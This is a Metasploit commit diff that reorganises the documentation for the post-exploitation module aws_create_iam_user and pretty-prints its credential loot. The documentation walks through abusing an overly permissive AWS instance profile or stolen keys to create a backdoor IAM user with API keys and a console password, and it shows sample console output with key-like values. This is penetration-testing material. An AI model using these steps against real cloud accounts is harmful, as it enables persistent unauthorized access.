Skip to content

Commit aa29fca

Browse files
jhart-r7jhart-r7
committed
Update docs and pretty print the loot
1 parent 35340ec commit aa29fca

File tree

2 files changed

+70
-53
lines changed

2 files changed

+70
-53
lines changed

‎documentation/modules/post/multi/escalate/aws_create_iam_user.md

Lines changed: 68 additions & 52 deletions
Original file line numberDiff line numberDiff line change
@@ -68,18 +68,7 @@ access keys from the metadata service. If this fails, search the instance for
6868
API access keys, e.g., see ~/.aws/credentials, and set `AccessKeyId`,
6969
`SecretAccessKey`, & `Token` (optional).
7070

71-
## Options
72-
73-
* `IAM_USERNAME`: set this if you would like to control the username for to user to be created
74-
* `AccessKeyId`: set this if you find access keys on the host and instance has no profile/privileges
75-
* `SecretAccessKey`: set this if you find access keys on the host and instance has no profile/privileges
76-
* `Token`: set this if you find access keys on the host and instance has no profile/privileges. This is optional as this signifies temporary keys, if you find these, these are most likely expired.
77-
* `Proxies`: depending on your environment, you may wan to proxy your calls to AWS.
78-
* `CREATE_API`: when true, creates API keys for this user
79-
* `CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console
80-
81-
82-
### Establish a foothold
71+
## Establish a foothold
8372

8473
You first need a foothold in AWS, e.g., here we use `sshexec` to get the
8574
foothold and launch a meterpreter session.
@@ -122,7 +111,24 @@ Active sessions
122111
123112
```
124113

125-
## Overly Permissive Instance Profile
114+
## Options
115+
116+
In the event that the session'd AWS instance does not have an IAM role assigned
117+
to it with sufficient privileges, the following options can be used to provide
118+
specific authentication material:
119+
120+
* `AccessKeyId`: set this if you find access keys on the host and instance has no profile/privileges
121+
* `SecretAccessKey`: set this if you find access keys on the host and instance has no profile/privileges
122+
* `Token`: set this if you find access keys on the host and instance has no profile/privileges. This is optional as this signifies temporary keys, if you find these, these are most likely expired.
123+
124+
The following options control the account that is being created:
125+
126+
* `IAM_USERNAME`: set this if you would like to control the username for to user to be created
127+
* `CREATE_API`: when true, creates API keys for this user
128+
* `CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console
129+
130+
131+
## Abusing an Overly Permissive Instance Profile
126132

127133
Here we are assuming that we have taken over a host having an instance profile with
128134
overly permissive access. Once a session is established, we can load
@@ -136,43 +142,42 @@ SESSION => 1
136142
msf post(aws_create_iam_user) > exploit
137143
138144
[*] 169.254.169.254 - looking for creds...
139-
[*] Creating user: J2XXox11WW4brAcb
140-
[*] Connecting (iam.amazonaws.com)...
141-
[*] Creating group: J2XXox11WW4brAcb
142-
[*] Connecting (iam.amazonaws.com)...
143-
[*] Creating group policy: J2XXox11WW4brAcb
144-
[*] Connecting (iam.amazonaws.com)...
145-
[*] Adding user (J2XXox11WW4brAcb) to group: J2XXox11WW4brAcb
146-
[*] Connecting (iam.amazonaws.com)...
147-
[*] Creating API Keys for J2XXox11WW4brAcb
148-
[*] Connecting (iam.amazonaws.com)...
149-
[+] API keys stored at: /home/pwner/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
150-
[*] Post module execution completed
145+
[*] Creating user: gavgpsjXwj5HIxiz
146+
[*] Creating group: gavgpsjXwj5HIxiz
147+
[*] Creating group policy: gavgpsjXwj5HIxiz
148+
[*] Adding user (gavgpsjXwj5HIxiz) to group: gavgpsjXwj5HIxiz
149+
[*] Creating API Keys for gavgpsjXwj5HIxiz
150+
[*] Creating password for gavgpsjXwj5HIxiz
151+
AWS Account Information
152+
=======================
153+
154+
UserName GroupName SecretAccessKey AccessKeyId Password AccountId
155+
-------- --------- --------------- ----------- -------- ---------
156+
gavgpsjXwj5HIxiz gavgpsjXwj5HIxiz oX4csvu3Wun+GqVDzBHQ3FNfv41UhC4ibkLAmaW2 AKIAJRZQ2ENY45KKRBHQ gavgpsjXwj5HIxiz xxxxx
157+
158+
[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values
159+
[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account
160+
[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208140720_default_172.30.0.116_AWScredentials_099259.txt
151161
```
152162

153163
If the host does not have an instance profile or the right access, the output will look like so:
154164

155165
```
156166
[*] 169.254.169.254 - looking for creds...
157167
[*] Creating user: 3SFFML3ucP1AyP7J
158-
[*] Connecting (iam.amazonaws.com)...
159-
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::097986286576:user/3SFFML3ucP1AyP7J
168+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::abcd:user/3SFFML3ucP1AyP7J
160169
[*] Creating group: 3SFFML3ucP1AyP7J
161-
[*] Connecting (iam.amazonaws.com)...
162-
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateGroup on resource: arn:aws:iam::097986286576:group/3SFFML3ucP1AyP7J
170+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateGroup on resource: arn:aws:iam::abcd:group/3SFFML3ucP1AyP7J
163171
[*] Creating group policy: 3SFFML3ucP1AyP7J
164-
[*] Connecting (iam.amazonaws.com)...
165-
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:PutGroupPolicy on resource: group 3SFFML3ucP1AyP7J
172+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:PutGroupPolicy on resource: group 3SFFML3ucP1AyP7J
166173
[*] Adding user (3SFFML3ucP1AyP7J) to group: 3SFFML3ucP1AyP7J
167-
[*] Connecting (iam.amazonaws.com)...
168-
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:AddUserToGroup on resource: group 3SFFML3ucP1AyP7J
174+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:AddUserToGroup on resource: group 3SFFML3ucP1AyP7J
169175
[*] Creating API Keys for 3SFFML3ucP1AyP7J
170-
[*] Connecting (iam.amazonaws.com)...
171-
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateAccessKey on resource: user 3SFFML3ucP1AyP7J
176+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateAccessKey on resource: user 3SFFML3ucP1AyP7J
172177
[*] Post module execution completed
173178
```
174179

175-
## API Access Keys
180+
## Abusing API Access Keys
176181

177182
In the case that the host we have taken over has no instance profile or does not
178183
have the required privileges, we can search the host for access keys with
@@ -190,28 +195,39 @@ SecretAccessKey => jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
190195
msf post(aws_create_iam_user) > set SESSION 1
191196
SESSION => 1
192197
msf post(aws_create_iam_user) > run
198+
msf post(aws_create_iam_user) > run
193199
194200
[*] 169.254.169.254 - looking for creds...
195-
[*] Creating user: NyTDbU9v6LzzCLXq
196-
[*] Connecting (iam.amazonaws.com)...
197-
[*] Creating group: NyTDbU9v6LzzCLXq
198-
[*] Connecting (iam.amazonaws.com)...
199-
[*] Creating group policy: NyTDbU9v6LzzCLXq
200-
[*] Connecting (iam.amazonaws.com)...
201-
[*] Adding user (NyTDbU9v6LzzCLXq) to group: NyTDbU9v6LzzCLXq
202-
[*] Connecting (iam.amazonaws.com)...
203-
[*] Creating API Keys for NyTDbU9v6LzzCLXq
204-
[*] Connecting (iam.amazonaws.com)...
205-
[+] API keys stored at: /home/pwner/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
201+
[*] Creating user: bZWsmzyupDWxe8CT
202+
[*] Creating group: bZWsmzyupDWxe8CT
203+
[*] Creating group policy: bZWsmzyupDWxe8CT
204+
[*] Adding user (bZWsmzyupDWxe8CT) to group: bZWsmzyupDWxe8CT
205+
[*] Creating API Keys for bZWsmzyupDWxe8CT
206+
[*] Creating password for bZWsmzyupDWxe8CT
207+
AWS Account Information
208+
=======================
209+
210+
UserName GroupName SecretAccessKey AccessKeyId Password AccountId
211+
-------- --------- --------------- ----------- -------- ---------
212+
bZWsmzyupDWxe8CT bZWsmzyupDWxe8CT 74FXOTagsYCzxz0pjPOmnsASewj4Dq/JzH3Q24qj AKIAJ6IVXYRUQAXU625A bZWsmzyupDWxe8CT xxxxx
213+
214+
[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values
215+
[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account
216+
[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208141050_default_172.30.0.116_AWScredentials_636339.txt
206217
[*] Post module execution completed
207218
```
208219

209-
## Loot
220+
## Next Steps
210221

211-
You can see the API keys stored in loot:
222+
Information necessary to use the created account is printed to the screen and stored in loot:
212223

213224
```
214-
$ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
215-
216-
{"AccessKeyId":"AKIA...","SecretAccessKey":"THE SECRET ACCESS KEY...","AccessKeySelector":"HMAC","UserName":"metasploit","Status":"Active","CreateDate":"2016-11-21T17:59:51.967Z"}
225+
{
226+
"UserName": "As56ekIV59OgoFOj",
227+
"GroupName": "As56ekIV59OgoFOj",
228+
"SecretAccessKey": "/DcYUf9veCFQF3Qcoi1eyVzptMkVTeBm5scQ9bdD",
229+
"AccessKeyId": "AKIAIVNMYXYBXYE7VCHQ",
230+
"Password": "As56ekIV59OgoFOj",
231+
"AccountId": "xxx"
232+
}
217233
```

‎modules/post/multi/escalate/aws_create_iam_user.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55

66
require 'msf/core'
77
require 'metasploit/framework/aws/client'
8+
require 'json'
89

910
class MetasploitModule < Msf::Post
1011

@@ -151,7 +152,7 @@ def run
151152
print_good("AWS console URL https://#{results['AccountId']}.signin.aws.amazon.com/console may be used to access this account")
152153
end
153154

154-
path = store_loot('AWS credentials', 'text/json', session, results.to_json)
155+
path = store_loot('AWS credentials', 'text/plain', session, JSON.pretty_generate(results))
155156
print_good("AWS loot stored at: " + path)
156157
end
157158

0 commit comments

Comments
 (0)